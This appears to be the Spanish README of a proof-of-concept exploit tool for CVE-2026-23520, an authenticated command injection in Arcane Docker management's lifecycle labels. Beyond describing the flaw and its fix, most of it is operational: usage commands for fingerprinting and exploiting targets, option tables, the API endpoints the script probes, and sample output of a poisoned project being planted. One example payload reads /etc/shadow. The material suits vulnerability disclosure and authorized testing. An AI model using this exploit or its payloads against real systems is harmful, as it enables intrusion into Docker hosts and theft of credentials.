
Prueba de concepto del exploit para CVE-2026-23520, una RCE autenticada en Arcane Docker management mediante inyección de comandos del sistema operativo en etiquetas de ciclo de vida. Incluye modos de verificación, explotación y generación.
Inyección de Comandos del Sistema Operativo en Arcane Docker Management (< 1.13.0)
Arcane es una plataforma moderna de gestión de Docker basada en web. Las versiones anteriores a la 1.13.0 son vulnerables a una Ejecución Remota de Código (RCE) autenticada mediante inyección de comandos del sistema operativo en las etiquetas de ciclo de vida del servicio de actualización.
El servicio de actualización admitía dos etiquetas de contenedor Docker:
| Etiqueta | Disparador |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Antes de una actualización de contenedor |
com.getarcaneapp.arcane.lifecycle.post-update | Después de una actualización de contenedor |
El valor de la etiqueta se pasa directamente a /bin/sh -c sin ningún tipo de saneamiento. Debido a que cualquier usuario autenticado (no solo administradores) puede crear proyectos a través de la API, un atacante puede plantar un proyecto envenenado. Cuando un administrador activa posteriormente una actualización de contenedor, el comando inyectado se ejecuta dentro del contenedor — y potencialmente en el host si hay volúmenes montados.
Atacante (usuario de bajo privilegio) Servidor Arcane
──────────────────────────────── ──────────────
1. Autenticarse (cualquier usuario) ──────► JWT emitido
2. Crear proyecto con Proyecto guardado con
etiqueta de ciclo de vida envenenada ──► etiqueta maliciosa
│
┌─────────────────────────────────────────┘
│ 3. El administrador activa la actualización del contenedor
▼
El actualizador de Arcane lee el valor de la etiqueta
Lo pasa a /bin/sh -c
│
▼
*** Ejecución arbitraria de comandos ***
(alcance del contenedor, o del host si hay volúmenes montados)
| Estado | Versiones |
|---|---|
| Vulnerable | Arcane < 1.13.0 |
| Corregido | Arcane ≥ 1.13.0 |
La corrección (commit 5a9c2f9) elimina por completo la funcionalidad de etiquetas de ciclo de vida para reducir la superficie de ataque.
urllib de la biblioteca estándar, funciona en cualquier Python 3.10+check (huella digital), exploit (desplegar), generate (archivo compose sin conexión)-v) — muestra exactamente qué endpoints se están sondeando y qué devuelvenpython3 poc_cve_2026_23520.py check -t <IP_OBJETIVO>
python3 poc_cve_2026_23520.py exploit \
-t <IP_OBJETIVO> \
-u <NOMBRE_USUARIO> \
-p <CONTRASEÑA> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <IP_OBJETIVO>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Desplegar el proyecto envenenado a través de la API de Arcane
check Obtener la huella digital de Arcane y comprobar si es vulnerable
generate Generar un archivo compose envenenado (sin necesidad de red)
options:
-h, --help mostrar este mensaje de ayuda y salir
-v, --verbose Mostrar salida de depuración del sondeo
Opciones del exploit:
| Opción | Descripción | Valor predeterminado |
|---|---|---|
-t, --target | Host de Arcane (IP o nombre de host) | obligatorio |
-P, --port | Puerto de Arcane | 3552 |
-u, --username | Cualquier usuario autenticado de Arcane | obligatorio |
-p, --password | Contraseña del usuario | obligatorio |
--payload | Comando de shell a inyectar | id |
--hook | Hook de actualización pre o post | pre |
--project-name | Nombre del proyecto envenenado | poc-cve-2026-23520 |
--env-id | ID del entorno (detección automática si se omite) | auto |
--scheme | http o https | http |
--no-verify | Omitir la verificación del certificado TLS | off |
El script no fija una única ruta de API. En su lugar, sondea silenciosamente múltiples rutas conocidas para cada operación y se detiene en la primera coincidencia:
| Operación | Endpoints probados |
|---|---|
| Versión | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Autenticación | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Entornos | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Creación de proyecto | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, y más |
Las claves de respuesta también se comparan de forma flexible (p. ej., currentVersion, version, Version, serverVersion — incluidos objetos anidados y búsqueda sin distinción de mayúsculas y minúsculas).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Paso 1 · Huella digital del objetivo ──
[*] Objetivo: http://10.129.7.208:3552
[*] Sondeando endpoints de versión …
[+] Versión encontrada vía /api/version
[+] Versión de Arcane: v1.12.4
[+] La versión v1.12.4 es < 1.13.0 — VULNERABLE
── Paso 2 · Autenticación ──
[*] Autenticándose como atacante …
[+] JWT obtenido vía /api/auth/login
── Paso 3 · Descubrimiento de entornos ──
[*] Sondeando endpoints de entornos …
[+] Se encontraron 1 entorno(s) vía /api/environments
[*] → 1 (local)
[+] Usando entorno: 1
── Paso 4 · Plantando proyecto envenenado ──
[*] Inyectando payload en la etiqueta de ciclo de vida: pre-update
[*] Etiqueta : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Valor : id
[+] Proyecto creado vía /api/environments/1/projects
── Exploit Plantado con Éxito ──
[+] El proyecto envenenado ahora está esperando un disparador de actualización.
5a9c2f9Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no es responsable de ningún uso indebido. Úsela únicamente contra sistemas que posea o para los que tenga permiso explícito por escrito para probar.
MIT